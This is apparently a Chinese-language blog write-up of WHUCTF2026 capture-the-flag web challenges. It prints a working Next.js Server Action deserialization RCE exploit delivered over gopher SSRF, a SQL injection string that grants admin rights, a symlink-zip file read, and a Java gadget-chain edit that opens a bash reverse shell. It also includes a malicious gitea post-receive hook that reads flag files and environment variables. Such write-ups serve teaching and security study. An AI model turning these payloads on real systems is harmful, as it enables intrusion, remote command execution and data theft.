WHUCTF2026

web的部分题解,随着复现进度更新,没标记solved是赛后出的

Hell City[solved]

初步测试发现是拼接url访问目的地址

手动探测,发现文件目录,根据这个提示我猜测真正的入口在另一个端口,然后要利用非常一点的协议,根据之前复现熔烬裂谷的经验初步推测是gopher

入口在80端口,协议是gopher,构造payload

  1. 入口确认: 可稳定访问 127.0.0.1:80,返回 Next.js 页面,确认目标是 Next/React 服务。
  2. 漏洞方向定位: 根据 hint CVE-2025-55182,切到 React Server Components / Server Action 反序列化利用链
  3. 触发方式确定: 使用 gopher:// 发送 multipart/form-data 的 POST,构造 0/1/2 三段字段,让_response._prefix 在服务端执行命令。
  4. 回显方式修正: 普通 throw Error(…) 只得到哈希digest(无明文)。改成抛 NEXT_REDIRECT:把命令结果塞进digest,由响应头 x-action-redirect 明文带出。
  5. 命令验证: 先 id 验证 RCE,再改 cat /flag,从 x-action-redirect 解码得到 flag。

最终exp:执行:python3 gopher.py --cmd "cat /flag"

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
#!/usr/bin/env python3
import argparse
import json
from urllib.parse import quote

def build_js_payload(cmd: str) -> str:
# Use NEXT_REDIRECT digest to exfiltrate command output in response
return (
"var o=process.mainModule.require('child_process').execSync("
+ json.dumps(cmd)
+ ").toString().trim();"
"throw Object.assign(new Error('NEXT_REDIRECT'),"
"{digest:'NEXT_REDIRECT;push;/' + encodeURIComponent(o) + ';307;'});"
)

def build_body(boundary: str, cmd: str) -> str:
obj0 = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\"then\":\"$B0\"}",
"_response": {
"_prefix": build_js_payload(cmd),
"_chunks": "$Q2",
"_formData": {"get": "$1:constructor:constructor"},
},
}

fields = [
("0", json.dumps(obj0, separators=(",", ":"))),
("1", "\"$@0\""),
("2", "[]"),
]

parts = []
for k, v in fields:
parts.append(f"--{boundary}\r\n")
parts.append(f"Content-Disposition: form-data; name=\"{k}\"\r\n\r\n")
parts.append(f"{v}\r\n")
parts.append(f"--{boundary}--\r\n")

return "".join(parts)

def build_request(host: str, path: str, boundary: str, body: str, next_action: str) -> str:
return (
f"POST {path} HTTP/1.1\r\n"
f"Host: {host}\r\n"
f"Next-Action: {next_action}\r\n"
f"Content-Type: multipart/form-data; boundary={boundary}\r\n"
f"Content-Length: {len(body.encode())}\r\n"
"Connection: close\r\n\r\n"
f"{body}"
)

def build_gopher_url(host: str, port: int, req: str) -> str:
return f"gopher://{host}:{port}/_" + quote(req, safe="")

def parse_args() -> argparse.Namespace:
parser = argparse.ArgumentParser(
description="Build gopher SSRF payload for Next/React multipart Server Action POST"
)
parser.add_argument("--host", default="127.0.0.1")
parser.add_argument("--port", type=int, default=80)
parser.add_argument("--path", default="/")
parser.add_argument("--boundary", default="----x")
parser.add_argument("--next-action", dest="next_action", default="x")
parser.add_argument("--cmd", default="id", help="RCE command, test with id then switch to cat /flag")
parser.add_argument(
"--all-paths",
action="store_true",
help="print payloads for /, /_next/action, /flag, /api/flag",
)
return parser.parse_args()

def main() -> None:
args = parse_args()

paths = [args.path]
if args.all_paths:
paths = ["/", "/_next/action", "/flag", "/api/flag"]

for p in paths:
body = build_body(args.boundary, args.cmd)
req = build_request(args.host, p, args.boundary, body, args.next_action)
print(f"# path={p} cmd={args.cmd}")
print(build_gopher_url(args.host, args.port, req))

if __name__ == "__main__":
main()

手一直在抖看其他web手都出其他题目了我还在这题上面卡

WHUCTF{WeIcom3_7o_7h3_HEIL_7bbc86423c8c}

拿到hint以后的无明文回显和最终的exp构造由AI完成

注注need[solved]

果咩,纯人工以及感谢ika的指导……

python flask框架用file读取/app/app.py,源码中找到账号密码。登陆查看flag

注注need_revenge[solved]

同读取源码,然后可以发现在登录中是可以sql查询的,但是直接登陆进行sql的概率比较低

这时发现UPDATE模块修改通过的nickname等简介板块可以set,尝试修改

‘, role=’admin’ WHERE username=’1’; –

如果修改成功就可以重新登陆了这时进入1(admin)账号(这是个非预期)

然后进入admin账号利用zip上传解压图片,但是很明显flag被ban了,但是根据读源码的提示,是可以被html的标签带出资源的

在 Linux系统中,软链接(Symbolic Link) 是一种特殊的文件或目录,它指向另一个文件或目录。通过软链接,可以方便地访问目标文件或目录,而无需复制实际内容。

所以

1
2
ln -s /flag flag_link.jpg(🔗向flag)
zip --symlinks exploit.zip flag_link.jpg
1
2
curl -s -b 'session=.eJwtj00OgjAUhO_yVpoQobSlFg9DXn_QKhRCiy4Id7dadpNvJjOZDdZgl84ZaOsi6-BxDo8pQrsBvjHiAi2UIWJ0uswglP-ksT2uQ-wyvDznOxSg3JTyYbB2PjXV-ZaQHdENCSZ5DHmnXx5Hm-GMIXymJVlgiOaUVpwozowy-sp6KitJTc9qRRtBKtEIqrS8okCUvOEGmZZW1UxoJCy1LdPw60UzOg_50zFFYN-_SxxLOw.aeRTcQ.m_cXewT2kf6cY5HIWnFmgkYBTis' \
http://127.0.0.1:43401/images/flag_link.jpg

这里用curl+session是因为我直接访问没看到,所以用session curl带出

WHUCTF{1eT_uS_0RdeR_A_R46blt_bd35bf401724}

软链接部分是DeepSeek老师提供的思路

Nespresso[solved]

将jar包反编译得到一个jar项目,抛开spring框架查看源码

1.攻击点在/serve的payload参数,base64字节流通过解码触发readobject();

2.继续看发现有黑名单限制:

1
2
3
(CoffeeObjectInputStream.BLACKLIST = (ArrayList<String>)new ArrayList()).add((Object)"java.swing");
CoffeeObjectInputStream.BLACKLIST.add((Object)"java.security");
CoffeeObjectInputStream.BLACKLIST.add((Object)"org.spingframework.aop.target");

org.spingframework.aop.target

我们不难发现,这个springframework写错了,写成了sping,好的所以应该使用spring链

根据hint:题目环境为JDK17,本题出网,无需内存马

于是进行一些信息搜集

只要在浏览器中输入:JDK17spring反序列化链,第一篇就是参考blog(((

https://curlysean.github.io/2025/08/31/%E9%AB%98%E7%89%88%E6%9C%ACJDKSpring%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%93%BE/

但是注意到出网,所以需要一些反弹shell的工作,我们可以把原blog里的poc的string block调整为:

1
2
3
4
5
6
String ip = "127.0.0.1";    //  IP
String port = "4444"; //端口

// 构造命令数组:/bin/bash -c "/bin/bash -i >& /dev/tcp/IP/port 0>&1"
String block = "String[] cmd = {\"/bin/bash\", \"-c\", \"/bin/bash -i >& /dev/tcp/" + ip + "/" + port + " 0>&1\"};" +
"Runtime.getRuntime().exec(cmd);"

需要把本机的jdk版本切换为17,然后进行编译运行,以及要下载一堆jar…….

最终通过反弹shell获取flag,虽然我本地没通但是出题人那边通了,也不知道为什么……交流后还是把分给我了,感到很内疚…….

gitea

gitea1.25版本的容器,一直没什么思路,赛后和一些师傅们交流发现是个0day的洞。
根据hint先进行登陆,然后通过/sec/sec/issues/new?template=README.md越权读取,之后继续读取admin账号密码进行登陆。
接下来是利用gitea的hook漏洞,将post-receive钩子修改如下(这是AI搓的果咩

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
#!/bin/sh

# 读取推送信息:oldrev, newrev, 分支名(例如 refs/heads/main)

while read oldrev newrev refname; do

if [ "$refname" = "refs/heads/main" ] || [ "$refname" = "refs/heads/master" ]; then

TARGET_BRANCH=$refname

NEWREV=$newrev

fi

done



# 如果标准输入无数据(极少情况),手动指定分支和当前 HEAD 作为新提交

if [ -z "$TARGET_BRANCH" ]; then

TARGET_BRANCH="refs/heads/main"

NEWREV=$(git rev-parse HEAD)

fi



# 进入 bare 仓库目录

cd $GIT_DIR



# === 核心:搜索并读取 flag ===

FLAG=$(cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null || \

cat /app/flag 2>/dev/null || \

printenv FLAG 2>/dev/null || \

find / -name "flag*" -type f -exec cat {} \; 2>/dev/null | head -c 1000)

if [ -z "$FLAG" ]; then

FLAG="flag_not_found_but_hook_worked"

fi



# === 将 flag 写入仓库文件(在 bare 仓库中) ===

# 1. 将 flag 内容存入 Git 对象数据库,得到 blob 哈希

BLOB=$(echo "$FLAG" | git hash-object -w --stdin)



# 2. 用这个 blob 构建一个临时树对象,内容为 "flag.txt" 文件

TREE=$(printf "100644 blob %s\tflag.txt\n" "$BLOB" | git mktree)



# 3. 基于临时树对象创建新提交,父提交为 NEWREV(刚推送成功的提交)

COMMIT=$(echo "add flag" | git commit-tree $TREE -p $NEWREV)



# 4. 将目标分支的引用指针强制更新到新提交(相当于在 main 上追加了包含 flag.txt 的提交)

git update-ref $TARGET_BRANCH $COMMIT

新建一个仓库然后pull下来

1
2
3
4
5
6
7
8
9
10
11
12
git clone http://127.0.0.1:42147/sec/flagrepo.git

cd flagrepo

echo "final trigger" > trigger.txt

git add trigger.txt

git commit -m "trigger"

git push origin main

一点想法

怎么说呢感到非常抱歉,因为光靠自己的能力是完全不够的,但是AI也没完全发力,可能因为梯子或者网线的问题这次web都不太流畅,然后codex和网页版gpt也登不上去,只能用D老师凑合(反而呢给我提供了很多没用的信息,你说对吧大象)对团队的贡献超级低吧……一直很自责如果多出两个题就好了……

但是经过这次校赛其实也收获了很多吧,特别感谢ika和kuri的指导

也矫正了一些不注重网页架构只看考点就做题的坏习惯,在真正的环境下是不能本末倒置的。

cve的复现很惭愧,只能当脚本小子,自己是不会写的……

打反弹shell非常少,也是狠狠学习了。

总得来说AI给我的冲击非常大,尤其是这种不禁AI的比赛,为了得分大家都大量使用AI了,于是也不得不使用,但是感到由衷的惭愧,因为感觉到实际上凭借自己的能力应该是做不出来的…….很愧疚吧


WHUCTF2026
https://b1ank799.github.io/2026/04/29/WHUCTF2026/
Author
blank
Posted on
April 29, 2026
Licensed under